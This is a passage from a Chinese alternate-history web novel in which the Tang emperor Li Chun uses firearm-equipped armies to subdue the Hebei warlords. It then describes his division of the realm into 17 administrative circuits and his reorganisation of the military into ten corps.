乌重胤也不答话,向手下弓箭手使了个眼色,三个弓箭手对着过来的敌将一齐射去,三箭齐中,大胡子将领当即身亡。乌重胤命手下其他的弓箭手向成德军一阵急射,然后立即率军继续向西逃跑去。
看着己方死伤的将士,王承宗怒道:“**,跟老子玩阴的,今天不宰了乌重胤,誓不为人,给我杀!”
说完就让自己的弓箭手射箭还击,并带领部队紧追过去。还没追出去多远,只见乌重胤和在此等待的一万步兵会合,并在此已提前构筑工事,挡住成德军的去路,王承宗心知不好!
范希朝看着王承宗的部队全部进入山谷,觉得机不可失,当即挥舞大旗,指挥部队开始攻击。
乌重胤的两万部队躲在工事后面,对着王承宗的部队迎面射去一阵箭雨,成德军前锋伤亡惨重,急忙躲到路边的树木后面,用弓箭向乌重胤的部队反击,王承宗还准备派人绕到后侧,偷袭乌重胤的部队。
他的部队刚躲避不久,还没有来得及行动,只见从两侧山谷有不少唐军扔过来很多带火绳的铁球、陶罐,顺着山坡滚下来,火绳还吐着火舌,这些铁球、陶罐滚到谷底时,纷纷**,炸的附近的成德军人仰马翻。
成德军所部位于山谷的底部,前面被乌重胤率军堵着,周边又被唐军不断用火器袭击,王承宗情知中计。刚开始,王承宗还指挥部队反扑,企图消灭山谷中的一些唐军,结果是几次反扑都被唐军打回去。
两军激战了半个时辰,不时有大量的**袭来,成德军只有被动挨打的份,伤亡越来越大,逐渐支撑不住。
王承宗感觉不是唐军对手,再不撤就要交代在这里,立即下令撤退,成德军纷纷后退,向来时的谷口涌去。
范希朝岂会给他逃走的机会,早有大量的突**手暗中转移埋伏到谷口两侧,对着冲来的成德军就是一阵发射,大量铁砂向成德军喷射而出,成德军**得哭爹喊娘,伤痕累累。
山谷的谷口成为一道鬼门关,附近的唐军手里拿的不是突**就是**,不停的向成德军袭击。成德军为了生存,拼死冲出去,但是大量的人倒在出去的路上,只有不到两万人马逃出谷口。
第40章 讨平魏博
乌重胤调集部队,率领两万人马,疾追而去。范希朝也组织两侧的伏兵向谷口靠拢,最后留给李听五千人打扫战场,其他人跟在乌重胤军后面,紧追成德军而去。成德军只恨自己的腿不够快,拥着王承宗向恒州城败退而去。
在范希朝率军和成德军接战时,李愬已率领两万右神策军快速向二次设伏地点行军,到位后立即在道路上设置障碍,并在道路两侧的高地上布置兵力和火器,以逸待劳。
王承宗率领成德军向着恒州城猛跑,企图入城后凭坚固守,当他们行至半路,接近一片高地时,只见前方道路已经被唐军用栅栏堵住,高地上列着很多唐军,有的架设大**,有的手持弓箭,还有的手持刀枪,带头的正是李愬!
唐军**炮率先攻击,发射大量点火的黑色铁**呼啸而去,落地不久即炸,成德军第二次进入了地狱模式,大量人马被铁壳**杀伤,震耳欲聋,断肢横飞。即使侥幸再能前进者,又被弓箭杀伤,根本前进不得。
前边炸的无法前进,乌重胤带领的两万人马也追上来了,从后方射击**,王承宗率军拼死抵抗。范希朝又带着其他人马从两翼包抄过来,三支人马以绝对优势,将成德军团团围住。
此时,王承宗看了看自己的部队,又死伤了一批,还剩一万多人,很多还带着伤,根本无法再战。继续打,就要全交代在这了,不禁呆呆的站在那里,不知所措。
只听李愬大声喊道:“王承宗对抗朝廷,为祸一方,尔等都是被裹挟参与,如果立即投降,可以从轻发落,如继续顽抗,将是死路一条。”
乌重胤也喊道:“跟着王承宗对抗朝廷只有被消灭的份,你们还有家人,没必要为王承宗陪葬,你们赶快投降还有一条活路。”
成德军伤亡惨重,哪还有继续打下去的勇气,纷纷弃械举手投降,王承宗也无奈的跟着投降,李愬立即命人将他五花大绑,范希朝组织人员受降,收缴叛军的武器和装备。
范希朝和几个将领简单碰个头后,决定再留五千人给李听,留下处理战场,救治重伤员,收容俘虏。范希朝则带着主力,押着王承宗和几个成德军重要将领直奔恒州而去。
这边打的轰隆作响,其他战场也闻风而动。
南边的田**,感觉形势不对,以前打仗从来没有这么大声音,觉得王承宗的部队要吃亏,赶忙带着三万人马去支援。没想到李元奕和刘光颜带兵横插过来,挡住去路,虽经几次拼杀,均无功而返,只能回到魏博边境,然后派人出去打探消息。
义成节度使张茂昭闻声后,立即出动,带兵从西北方向杀过来,由于成德军主力都被王承宗带走了,剩下的兵力只能守几个重要据点,很多地方顾不过来,张茂昭一口气占领了五个县。
刘济内心则不愿成德军彻底失败,行动反而较慢,从东北方向装模作样发起进攻,只前进二十余里就停止前进,驻足观望。
等到范希朝带领七万大军,押着王承宗和几个成德军将领来到恒州城下,恒州的守军都傻眼了,城中只有五千守军,黑压压来了这么多唐军,自己的老大还被抓了,还怎么守城?
范希朝对着王承宗说:“赶快让你的守军开城投降,否则将你就地处决,然后唐军用火器攻城,**的威力你已经领教了,难道还要让恒州城再遭一次罪吗。”
王承宗无可奈何,命令守军开城投降,守军看大势已去,当即打开城门,迎接唐军入城。
范希朝亲自率两万唐军进城,占领军事要地,收押重要官员和将领,并传檄成德各州县立即向唐军投降。李愬和乌重胤则各率一路唐军,分别对成德各地进行接收,仅四五天功夫,就顺利收复成德剩余州县。
收复成德全境以后,范希朝决定乘胜追击,令乌重胤带本部2万人守卫成德,自己和李听、李愬率领左右神策军6万精锐南下进攻魏博。
田**收到斥候送来的王承宗全军覆没的消息后,吓得胆战心惊,后悔出兵帮助成德,连忙率主力三万人退入魏州城,其余各州也派人分兵驻守,准备死扛唐军的进攻。
四日后,范希朝率部和李元奕、刘光颜两部会合,共10万大军将魏州城团团围住。田**急忙下令关闭各处城门,在城墙上堆集大量的弓箭、火油、滚木等守城物资,准备据城死守。
范希朝带人绕城查看地形,魏州城四周地形平坦,城池坚固,攻取难度大,估计这也是田**敢于顽抗的底气。
但是唐军现在有大量的火器,正是大展雄风的机会。范希朝和几员大将商议以后决定先给他来一波**攻势,并辅以地道战和攻心战,争取彻底解决魏博。
范希朝把主攻方向选在魏州城北门,在距离城墙100丈以外的阵地上,唐军拉来了大量的抛石机和大**,抛石机和大**旁堆集了大量的黑色铁**。
尽管阵地的位置在魏博军的普通弓箭射程之外,唐军还是在最前面安排一排士兵拿着大盾牌,作为防护。在魏州的东、西、南三个门,唐军也布置了大量兵力,防止魏博军突围。
刘光颜派出一个裨将出阵,两个士兵拿着盾牌护卫,走到距离北门不足百米的位置,裨将对着北门楼喊道:
“成德军已经全军覆没,你们魏博军就不要作无谓的抵抗,早日归降朝廷才是正道,如若冥顽不灵,成德军就是下场。”
田**喊道:“我魏州城兵精粮足、城池坚固,岂是那么容易打下来的,我们魏博军可不是吓大的,你们还是哪来回哪去。”
裨将又喊道:“我唐**器威力无比,就怕你吃不消,魏博的弟兄们,跟着田**就是死路一条,你们只要肯投降,唐军将既往不咎,随时接纳你们。”
田**怒道:“再扰乱军心,老子射死你!”
裨将两边的士兵急忙拿起盾牌,护住裨将,快速退回本阵。
既然劝说不听,就要来点硬手段,范希朝下令开始第一波攻击,只见抛石机、大**纷纷射出大量的铁**,向魏州城飞去。
有的**落到城墙上,有的落进城里,还有的落到城墙下,落地后迅速**,很多人被炸伤、炸残,魏博军胆战心惊,连忙找工事躲避。
魏州城上也有一些大**,于是向唐军这边射来,有部分唐军被射到,或死或伤,范希朝大怒,命令进行第二波、第三波的攻击,重点射击城墙上有大**的位置,不给魏博军喘息的机会。
在连续的轰炸下,魏博军损失惨重,不敢再反击,墙上的大**不是被炸毁,就是被丢弃,士兵到处找地方躲避。
经过一阵攻击后,虽然铁**的威力较大,但是精确性不高,魏博军又躲到城墙后面或工事里,虽然伤亡了一些人员,但是城墙毁坏不是很严重,唐军一时也难以破城。
范希朝看继续攻击的意义不大,还会增加城内百姓伤亡,于是下令停止攻击,环城设置一些防御性工事,改为围困。
休整一晚后,唐军在明面上继续朝城墙发射**,但是发射的数量和频次降低,梯次投放,保持攻击不中断,声音不中断,另一方面派人在隐蔽位置向城内挖地道,由李听指挥一帮民工轮流上阵,奋力掘进。
连续这样攻击了五天,魏博军也感觉到不对劲,猜到了唐军可能会在挖地道进城,但是不时有****,他们也无法分辨地道挖向哪里,无法采取有效应对措施。
第六天,只听“轰”的一声,发出一阵**,一段城墙被炸塌,李愬指挥唐军蜂拥而上,准备从缺口冲进城内。
守这段城墙的是魏博悍将田弘正,他临危不惧,一方面从城内调集士兵堵缺口,一边在城墙上指挥士兵,对**过来唐军泼油、射箭、扔石头,拼死抵抗。
唐军拿着突**和弓箭对着魏博军攻击,但是魏博军在缺口处拼命堵截,上面泼下大量火油,被魏博军用火箭点燃,烧起熊熊大火,唐军根本无法冲进去,李愬只能率军暂时撤退。
范希朝气愤不已,命令唐军朝缺口附近射出大量**,魏博军被大量炸死炸伤,损失惨重。
地道战虽然没有成功,但是连续的攻击下,魏博军见识了唐**器的厉害,伤亡惨重,军心动摇,范希朝于是决定暂停进攻,采取攻心计。
范希朝令人准备大量的劝降信,用大**射入城内,明确表示,只杀田**一人,其他人皆可赦免,凡能抓住田**,或带领军
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队投降者,还可立功受奖。
魏博军在人数上、武器上都不如唐军,目前外援阻断、伤亡惨重,继续跟着田**早晚必败,很多将士看到劝降信以后,开始人心浮动,不少人有了弃暗投明的想法。
大将田弘正和几个心腹将领商议以后,认为魏博军败局已定,继续抵抗毫无意义,决定戴罪立功,反戈一击。当晚带领两千士兵冲入田**府内,杀掉敢于抵抗的士兵,在床下揪出田**,用绳子绑上。
第二天,田弘正和其他将领商议一番,决定有条件向唐军投降。魏博军先派出一个小将,打着白旗,走进唐军营内,向范希朝报告魏博军已抓住田**,并愿意投降,但要求唐军履行承诺,不得追究其他将士罪责。
范希朝认真考虑后,开出三个投降条件:1、投降官员、将领可以留用,但要向朝廷效忠,并调任到其他地方;2、所有投降士兵无罪,但是遣散一半员额,由唐军派人重新挑选,纳入唐军;3、所有府库财物不得擅动,全部移交给唐军,由朝廷派人核对接收。
田弘正等人商议后,决定同意范希朝的要求,抓了田**几个心腹,一并交给唐军,然后带人向范希朝投降。
连克两镇,范希朝非常高兴,赶紧派人接收魏博各州县,对待投降的魏博将士也以礼相待,解除武器后,集中安置。同时写出书信,向皇帝奏明平叛经过,为有功的将士请功,要求朝廷任命两镇新的官员,同时报告了平叛中各镇的表现,特别提到了张茂昭和刘济的情况,认为刘济可能有异心,并请示部队的下步行动。
连日来,李纯密切关注河北平叛的情况,认真研读前方和各地送来的报告,综合考虑后,向范希朝发出旨意:要求张茂昭、刘济退回本部,所占州县全部交给范希朝的军队,如有违抗,可以直接攻击。
在接到范希朝关于平定成德、魏博两镇的消息后,举朝欢声雷动,大臣们纷纷向李纯祝贺成德、魏博战事的成功。
虽然已经成功平定了两个最顽固的藩镇,但是还有几个强藩依然存在,节度使军政一体的顽疾还是没有解除,李纯仍然心怀忧虑。在经过和几个重臣的反复讨论后,李纯决定先看一下其余各镇的反应,而后进一步采取措施,全面推行削藩政策。
为改变藩镇军政一体的弊端,李纯在收复的两镇废除节度使一职,派出两位大臣分任成德和魏博布政使,只管理民政和财税;两镇的军队全部收归兵部管理,将领由朝廷任命,军需弃械均由朝廷供给,直接听命于朝廷。
李纯还乘势下旨传谕各地,昭告两个反叛的节度使恶行,要求各地引以为戒,对朝廷保持忠贞之心,令范希朝将王承宗和田**押送长安,由大理寺审理问罪后,斩首示众。
卢龙节度使刘济本来想借征讨成德的机会趁乱抢一些地盘,前面很顺利,他还得意一把。等范希朝先后平定成德和魏博以后,他发现局势发生了很大的变化,后面很可能波及到卢龙,心中开始惴惴不安起来。
后面范希朝令他和张茂昭归还占领成德的州县,张茂昭很快撤兵,归还所占地盘。刘济刚开始心里是极不不情愿,赖了一阵,最后看到范希朝派李愬和刘光颜率领四万人马进逼,这才慌了,赶忙撤出所占地盘,全部还给朝廷。
经历这一场,刘济又惊又气,竟然病倒了,还比较严重,刘济在卢龙经营多年,自然不愿轻易将权力拱手让人。刘济有两个儿子,长子刘琨更仁厚一些,次子刘总能力更强一些,刘济决定按照传统的做法,让长子刘琨担任留后一职。
当时的情况是弟弟刘总当时跟刘济在前方征战,哥哥刘琨留守后方,刘总听说父亲要把留后一职授给哥哥,气得半死。刘总认为,平时冲锋陷阵的事,父亲都是让自己上,最后却把权力给了哥哥,太不公平了!
刘总在军中也有几个心腹,刘总与他们密谋一番,最后决定一不做二不休,直接**!刘总心一狠,先把刘济毒死,然后派人把哥哥刘琨骗来,在半路上埋伏刺客将其杀死。
刘总在军中势力较大,很快就控制形势,然后向朝廷谎称哥哥杀了刘济,自己平定叛乱,要求自领卢龙留后。
第41章 重整军政
范希朝坐镇河北,听到刘济军中的变故后,立即派人打探消息,掌握了真实情况,而后迅速派人报到李纯那里。
李纯正要找机会削藩呢,怎会惯着他,觉得这正好是解决卢龙的好机会,当即下旨令范希朝派兵全力讨平刘总。
刘总毕竟是用阴谋夺取的权力,在卢龙根基不稳,没有多少人愿意跟他反叛,在唐军优势兵力和强大火器的打击下,刘总的军队迅速溃败,逃进幽州城。
李听和刘光颜带兵将幽州城团团围住,要求卢龙军投降,刘总刚开始还想死守,但唐军的火器很厉害,攻势凌厉。卢龙军只守了五六天,就损失惨重,开始弥漫着悲观失败的思想,刘总感觉到再硬撑下去毫无意义,将会难逃一死。
刘总此时开始后悔,觉得自己一时权迷心窍,犯下大错,害死父亲和哥哥,结果啥也没落到,夜里还会梦见父亲和哥哥索命,惶恐不已。
刘总经过一番思想斗争后,决定用行动来救赎自己的错误,他向唐军提出投降条件,自己把地盘和军队全部交出来,唯一的要求是自己能够削发为僧,到寺庙为父兄超度赎罪。
李听和刘光颜刚开始觉得不可思议,但是觉得只要同意他当和尚,就可以避免很大的杀戮,一致同意刘总的条件。卢龙军如约开城投降,刘总已经剃去头发,穿上僧衣,出城后直接到城外的一个寺庙,真的出家当了和尚。
范希朝收到李听和刘光颜的报告,刚开始也不信,专门派人到幽州城外的寺庙查看,发现刘总在寺中不问世事,虔诚地吃斋念佛,每天都会诵经给父兄超度,不觉感叹世事无常。
李纯接到范希朝快速平定卢龙的奏报后,决定趁热打铁,一举解决藩镇问题。
李纯下旨,命李愬和乌重胤带领四万人马,南下至黄河北岸的延津,震慑淮西的吴少阳。
命李听和刘光颜率领四万人马,东进至德州南部黄河附近,震慑平卢的李师道。
命范希朝和李元奕率领剩余人马,坐镇成德,收服降兵,接管三镇政权,保持河北稳定。
做完这些,李纯心情振奋,觉得解决藩镇指日可待,不由的就想写一首诗庆贺一下,李纯构思了一阵,提笔写下:
喜收河北
欣闻官军平河北,愁云尽扫喜欲狂。
将士奋勇荡群寇,连战告捷神威扬。
先取成德再魏博,拿下卢龙如探囊。
江山一统聚合力,华夏复兴谋富强。
写完诗以后,李纯的心情逐渐平复下来,他决心利用此次河北唐军大胜的余威,借机彻底解决藩镇问题。
从当时的情况来看,继续依靠武力征服也可以,但是如果没有合理的借口,剩下的藩镇会拼死抵抗,会造成很大的破坏。
综合考虑一番后,他放弃了继续动武的想法,希望以不流血的手段,让各藩镇交出兵权,达到削藩的目的。
李纯经过和几个重臣商议,决定征召平卢节度使李师道、淮西节度使吴少阳、宣武节度使韩弘、义武节度使张茂昭、昭义节度使韩愈,要求五人接到圣旨后立即入朝觐见。
眼看着河北的藩镇连续被朝廷削平,在朝廷强大的军事力量威慑下,几个藩镇不敢轻举妄动。前面朝廷已经连续两次征召节度使入朝,这次只是循例再次征召五个节度使入朝,即使有人不情愿也不敢推脱,唯恐成为朝廷军事打击的对象。
五个节度使接到诏书后先后赶到长安,对于这次朝廷征召的目的,五节度使非常清楚,基本就是削藩。
韩愈知道自己的作用,无非就是带头倡议解除兵权,建议实行军政分离,彻底解决藩镇拥兵自重的问题。
李纯对韩愈如此看重,多次提拔,韩愈自然是心知肚明,而且自己也不善于军务,也想借机回到行政岗位,当然乐于支持军政分离。
张茂昭属于较弱的藩镇,自己也是一直配合朝廷行动,问心无愧,对于削藩内心没啥异议,只要给个合适的官职就好。
韩弘内心里当然希望继续维持原有的权力,但是又一直以忠臣自居,自然不好说什么,只希望皇帝看在自己立功的份上,给个好的官职。
李师道和吴少阳心里就乱作一团,他们知道自己私下里搞的小动作肯定藏不住,真怕李纯拿他们开刀。本想称病不来,但是如果不来就给了朝廷征讨的借口。两人干脆提前跟部属交代好后事,如果自己被抓就直接反叛,然后就进京观察情况。
李纯提前就让人放出关于朝廷打算削藩和军政分离的消息,既是让众人心里有个底,也是试探各人的反应。五个节度使怀着不同的想法,先后去朝见李纯。
出乎众人意料的是,李纯没有借助河北官军大胜的余威,直接敲打各节度使,而是对待各节度使态度和蔼,认真询问各人的想法,对不同意见也能包容,没有过分的强势。
李纯先后找五节度使谈完话,五人觉得李纯只是想解决藩镇问题,不会采取惩处措施,将会给他们一个妥善的出路。
最后,李纯决定在含元殿举行一次大朝会,五节度使及朝中六品以上官员参加,公开讨论藩镇问题。
李承闽宣布朝会开始以后,李纯让李吉甫先进行发言。
李吉甫朗声说道:“我朝自玄宗皇帝以来,藩镇问题就是一个不稳定因素,多次爆发战乱,严重影响着大唐的国运,朝廷必须要削藩,实行军政分离,文武分开授官。”
此言一开,大家基本猜到了朝廷的态度,其他大臣纷纷发言,绝大多数支持削藩,实行军政分离。
到了这里,韩愈知道该自己表态了,出班奏道:“藩镇割据一方,确实危害甚大,军政分离是大势所趋,臣韩愈愿意交出节度使一职,听凭朝廷调度。”
张茂昭也出班说道:“臣张茂昭支持削藩,愿意交出节度使一职,听凭朝廷调度。”
其他三个节度使碍于情面,也只能跟着表态支持削藩。
李纯看到在**上已经取得胜利,感觉已有九成把握,于是示意大家安静,然后说道:
“藩镇问题是到了非改不可的时候,但是削藩只是改制度,不是罢官,军政要分离,军政岗位也都需要有人去做,朝廷会认真筹划,根据各位官员的能力,征询大家意见,重新任命合适的官职。五节度使暂留京中,与中书省共同参与军政分离政策制定。”
散朝后,李纯又仔细分析形势,决定效法赵匡胤,采取善待大臣的方法,只改制度不整人,达到和平削藩的目的。
鉴于当时行政区划比较混乱,军队大部分集中在各地方藩镇手里,李纯决定对行政区划进行大调整,对军队进行大整编。朝廷根据各人的能力优长,认真听取相关人员意见,力图让改革相对平和,让大家都能接受。
李纯召集李吉甫、裴垍、郑珣瑜、李绛等人又反复商讨了几天,决定先对行政区划进行调整。原来的地方行政区小的只有两三个州,大的有十几个州,人口和面积相差悬殊。
官员设置上,有节度使、观察使、宣慰使,职责混乱,品级也不同。李纯认为州县两级相对稳定,暂时不动,重点对道一级进行充分划分,结合人口和面积,要相对均衡地划分。
当前,大唐实际统治的区域比唐初明显缩水,陇右和河西大片土地已经被吐蕃占领,漠北草原被回鹘占领,东北的渤海国已经独立,剩余的契丹、奚等族也处于半独立的状态,西南也有一部分土地被南诏占领,要恢复唐初的十五道已不合时宜。
李纯对唐朝以前各道的划分情况进行认真的研究,认为以前设置的河北道、河南道偏大,两个道人口加起来基本上就占了唐朝人口的三分之一,可以进行拆分,而一些人口较少的道则适当扩大,把全国重新划分为17个道,具体名称和范围如下:
一、京畿道,辖长安及周边三州,大体相当于前世的西安市和咸阳市两地,在长安设置京兆府,为唐朝都城。
二、关内道,位于黄河以西,六盘山以东,大巴山以北,阴山以南,包括前世的陕西省除西安、咸阳部分,甘肃省东部的平凉、庆阳两地,加上内蒙古的河套地区,首府选择在同州(今陕西大荔)。
三、河东道,位于黄河以东,太行山以西,长城以南,王屋山以北,大体相当于前世的山西省行政区域,首府选在晋州(今山西太原)。
四、幽燕道,位于太行山以东,北到回鹘,南到恒州(今石家庄),东到渤海的区域,包括前世的河北省中北部和北京、天津,首府选在幽州(今北京一带)。
五、河北道,位于太行山以东,黄河以北,恒州及其以南区域,包括前世的河北省南部、河南省和山东省黄河以北部分,首府选在相州(今河南安阳)。
六、河南道,位于黄河以南,淮河以北,微山湖以西,潼关以东,包括前世的河南省黄河以南区域去掉南阳和信阳部分,加上山东省微山湖以西和安徽省淮河以北区域,首府选在洛阳府(今河南洛阳)。
七、山东道,位于黄河以南,淮河以北,微山湖以东,东到大海,包括前世的山东省黄河以南、微山湖以东和江苏省的淮河以北区域,首府定在青州(今山东青州)。
八、淮扬道,位于长江以北,淮河以南,东到大海,西到大别山,包括前世的安徽省和江苏省江淮部分(江苏省东部的一些沿海平原在唐朝时还没冲积出来),加上河南信阳区域,首府选在扬州(今江苏扬州)。
九、江东道,位于长江以南,宣州以东,温
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州及其以北,东到大海,包括前世的浙江省和上海市全境(上海市东部的一些地方在唐朝时还没冲积出来)、江苏省江南部分,首府选在杭州(今浙江杭州)。
十、江西道,位于宣州及其以西,长江以南,南岭以北,罗霄山脉以东,武夷山以西,包括前世的江西省全境和安徽省江南部分,首府选在洪州(今江西南昌)。
十一、湖南道,位于长江及洞庭湖以南,雪峰山以东,罗霄山脉以西,南岭以北,大体包括前世的湖南省全境区域,首府选在潭州(今湖南长沙)。
十二、湖北道,位于洞庭湖以北,大别山以西,巫峡以东,伏牛山以南,包括前世的湖北省全境和河南省的南阳部分,首府选在复州(今湖北天门)。
十三、川蜀道,位于大巴山以南,长江以北,东到巫峡,西到吐蕃,包括前世的四川盆地长江以北区域,首府选在成都府(今四川成都)。
十四、黔中道,位于长江以南,南到西江上游,雪峰山以西,南诏国以东,包括前世的贵州省全部,四川盆地长江以南部分,广西省的百色与河池一线西北部分,首府选在涪州(今重庆涪陵)。
十五、闽潮道,位于温州以南,武夷山以东,潮州及其以北,东到大海,包括前世的福建省全境和广东省东部的潮汕梅地区,首府选在泉州(今福建泉州)。
十六、岭南道,位于潮州以西,梧州及其以东,北到南岭,南到大海,包括前世的广东省去掉潮汕梅部分,加上海南岛和广西省东部的贺州、梧州两地,首府选在广州(今广东广州)。
十七、安南道,位于梧州以西,南诏国以东,黔中道以南,南到林邑国,包括今广西中南部,越南北部,首府选在钦州(今广西钦州)。
17个道作为全国新的行政大区,代替以前的节度使辖区,仅有行政职能,剥离军事职能。各道划分的标准兼顾考虑人口和面积因素,力图做到相对均衡,作为朝廷统治全国各地的重要行政单位。
道的最高长官为布政使,级别定为正三品,与各部尚书平齐,属于文官,不再兼任武职,布政使以下再配备相应的属官,处理道的各项行政事务。
对于这个行政划分,李纯也不是很满意,但是唐朝中后期和21世纪中国的行政范围和人口分布大不相同,唐朝时华北人口多,南方人口偏少,台湾、海南、贵州还是荒蛮之地,权且先这样分,待以后击败外族、拓展疆域以后,再进行调整。
朝廷全面收回军队的指挥权,将原来各藩镇的军队重组,汰弱留强,编成十个军团,作为正规军,统归兵部管理,由皇帝同意后才能调动。
十个军团作为朝廷的主战兵力,每个军团三万人,军团主将为统领,为正四品武官,配有两个副将,为正五品武官,另有参军、佐军等其他属官。每个军团分为若干旅,旅下面再设营、连等基层单位。
目前各军团由火器与常规武器相结合,后面再逐步增加火器数量,打造成为武器精良的强大武装。十个军团具体名称和驻地如下:
一、平蕃军,驻地凤翔(今陕西凤翔),步骑结合,主要负责西北边境的战事,未来计划作为进攻吐蕃的先锋军。
二、平胡军,驻地云州(今山西大同),步骑结合,主要负责北方边境战事,未来计划作为进攻回鹘的主力军团。
三、平辽军,驻地平州(今河北滦县),步骑结合,主要负责东北方向的战事,未来计划作为进攻契丹、渤海、新罗的先锋部队。
四、平蛮军,驻地眉州(今四川眉山),步骑结合,主要负责西南方向战事,未来计划成为进攻吐蕃的南翼部队,再后面作为进攻南诏的北线部队。
五、平南军,驻地交州(今越南河内),水陆结合,主要负责南方战事,未来计划成为进攻南诏的南线部队,再后面可以作为进攻中南半岛的先头部队。
六、平东军,驻地润州(今江苏镇江),水陆结合,主要负责东海方向战事,未来计划成为进攻扶桑和新罗的海上主力。
七、平海军,驻地泉州(今福建泉州),水陆结合,主要负责东南方向战事,未来作为攻取流求(今台湾岛)的主力,再后面也可以作为进攻扶桑的部队。
八、镇北军,驻地恒州(今河北石家庄),步兵为主,作为北方的战略机动部队,未来可作为进攻回鹘和东北方向的二线部队。
九、威西军,驻地同州(今陕西大荔),步兵为主,作为西北的战略机动部队,也可拱卫长安,未来计划作为对付吐蕃和西域的二线部队。
十、兴中军,驻地宋州(今河南商丘),步兵为主,作为中央战略机动部队,未来根据战事不同,机动使用。
第42章 江山一统
十个军团共三十万人,作为朝廷直接掌握的主战部队,是未来对外大规模作战的主力,重要军事行动和主要将领任免必须经过皇帝批准。
因为唐朝的外来威胁主要来自北方、和西部的少数民族,所以军队的配置更侧重于这两个方向。
东南方向组建三个水陆结合的部队,主要是考虑远景更多将是海上远征,所以先期准备一些骨干,方便以后扩充。
除朝廷直属的三十万人,对朝廷的保卫部队进行改编,廷卫司的八千人不变,命名为御林军,为皇帝的亲军卫队,仍由枢密院管理。
卫尉寺下辖的军队扩充为一万五千人,主要负责京城及朝廷重地的保卫工作,直接向皇帝负责。
可以让两支部队各司其责,相互牵制,不容易形成独大的局面。
各道为了维护地方的安全和稳定,也需要拥有一定数量的军队,每个道可配备八千人以下的部队,装备冷兵器,由各道建设管理,但是所有人员登记在册,送到兵部备案,并受到兵部的监管。
全国所有的军队,十个军团三十万人,御林军和卫尉寺两万多人,地方维稳部队加起来约十三万人,全**队总量共四十五万多人,除此之外的其他部队全部遣散淘汰。
在部队建设上,坚持“兵在精,不在多”的原则,把朝廷直辖的部队打造成精兵猛将,拥有强大的战斗力。
在兵制上,李纯决定既不实行府兵制,也不实行募兵制,而是借鉴前世的经验,实行义务兵与职业兵相结合的方式。
具体上,男子到了17岁以后,都有服役的义务,每个人服役期为三年,满三年后可以退伍,也可以选拔为职业兵。
职业兵可以再服役五年,每年发放可观的薪水,如果特别优秀的,可以再延长服役五年。当然只有少数义务兵才有机会选拔为职业兵,这些职业兵主要担任班长、副班长等骨干。
为了鼓励适龄青年当兵,朝廷采取免除徭役、减免赋税等鼓励措施。对于义务兵,顺利服役满三年后,可以发一笔可观的退役金,职业兵退役后则可以进入政府公职,从事保卫、治安等工作。
重整后的全国部队数量,比削藩前少了近一半,可以有效的减轻百姓养兵的负担,节约的经费可以建造一批新的兵工厂,制造威力更强的火器,配备给各个军团。
听到李纯关于行政区和军队重组的设想,李吉甫、裴垍、李绛等人无法全部理解。
李绛说:“陛下,设置17个道我还能理解,新组建的军队以后还要打到南洋,想法是不是有点超前了?”
李纯道:“南洋算什么,以后还要打到大食和天竺。”
李吉甫问道:“皇上,大食和天竺距离遥远,很难攻取吧。”
李纯道:“目前是有点难度,等我们以后国力强大了,完全可以打过去,我们要有点远景目标。”
裴垍说:“陛下真是目标远大,当年太宗和玄宗皇帝也只打到了西域。”
李纯道:“目标再大,现实中也要一步一步来,先把内部搞好,等经济和军事发达了,才有远征的实力。”
李绛说:“以臣之见,当下还是要把这17道的官员和十个军的将领选好。”
李纯赞同道:
“说得对,这次韩弘表现不错,就让他挑一个道的布政使,张茂昭可以选一个军的统领,李愬、李听是一对会打仗的好兄弟,不愧是名将李晟的儿子,可以各领一军,刘光颜、乌重胤、李元奕也都立了大功,可以各领一军,范希朝更不必说,领军入朝皆可,都要重用,其他的官员和将领你们在商议一下,争取把最能干的人放上去。”
李吉甫问:“李师道和吴少阳怎么安排?”
李纯平静地说道:
“给他们一个布政副使的位置吧,吴少阳的儿子吴元济可以安排到平东军任副统领,李师道手下的大将刘梧可以平辽军任副统领,他们两个毕竟没有公开反叛,其他的藩镇也在观望着,只要愿意服从朝廷的,都给他们一个出路。”
李吉甫说:“陛下宅心仁厚,对他们够照顾了,相信此次改革可以顺利进行。”
李吉甫和裴垍代表朝廷,分别找李师道和吴少阳谈话,两个人本以为朝廷可能会把他们的官职撸掉,没想到还给了新的官职,虽然权力缩水了,但是一下子给安排了两个人,已经算是比较照顾了,均表示服从朝廷的安排。
朝廷采取怀柔措施,让各地的其他藩镇也放下心来,觉得都有个出路,没必要去反叛,朝廷的改制推行的很顺利。
经过和朝廷的几个重臣充分的沟通商议,李纯正式下旨任命17个布政使:
许孟容任京畿道布政使,韩弘任关内道布政使,张弘靖任幽燕道布政使,李鄘任河北道布政使,**则任河南道布政使,张重衡任河东道布政使,王锷任山东道布政使,柳公绰任淮扬道布政使,武元衡任川蜀道布政使,刘伯刍为湖北道布政使,元义方为江东道布政使,严砺为湖南道布政使,韦丹为黔中道布政使,程执恭为江西道布政使,杨于陵为岭南道布政使,韩愈为闽潮道布政使,李逢吉为安南道布政使。均为正三品文官。
关于十个军团统领,李纯另外下旨任命:
李听为平辽军统领,乌重胤为平胡军统领,李愬为平蕃军统领,高霞寓为平蛮军统领,韩泰为平东军统领,李元奕为平海军统领,蒋义为平南军统领,刘光颜为镇北军统领,张茂昭为威西军统领,严秦为兴中军统领。均为正四品武官。
其他有功之臣也升了官,左右丞李吉甫、裴垍由从二品,升为正二品,李绛升为兵部尚书,范希朝出征有功,调任为兵部侍郎,加左金吾卫大将军封号。
李师道任命为河东道布政副使,吴少阳任命为湖北道布政副使,吴元济任命为平东军副统领,刘梧任命为平辽军副统领。
田弘正任命为平胡军副统领,张广孝任命为卫尉寺正卿,郭钊任为廷卫司郎中兼御林军统领。
关于刘禹锡和柳宗元,李纯本想重用,但是因为他们当时和王叔文有牵连,阻力较大,所以将柳宗元任命为安南道布政副使,刘禹锡任命为闽潮道布政副使,也算是提拔使用。
其他级别低一些的官员和将领,李纯也没有那么多精力去考虑,于是让两位宰相和吏部、兵部拿出意见,如果才堪其用,均照准任用。
朝廷通过一系列军事、**手段,收回了藩镇手中的权力,在全国重新组建17个道,10个军团,实行军政分离,从制度上清除了藩镇割据的土壤。
在官员任免上,李纯一方面考虑这些人的能力和贡献,也考虑他们原来的职位和资历,力求大家都能接受,平稳过渡。
即位第四年,李纯终于彻底解决了藩镇问题,除掉了朝廷最大的祸患,不免长长的舒了一口气。前面已经解决了宦官问题,经济问题也有所起色,即位时的三大问题,算是解决了两个半。
李纯计划,下步重点发展经济、科技、军事,增强综合国力,争取在两到三年以后,开始对外用兵,扫除吐蕃、回鹘等**的威胁,夺回被占的陇右等地,进一步开疆拓土,重振大唐声威。
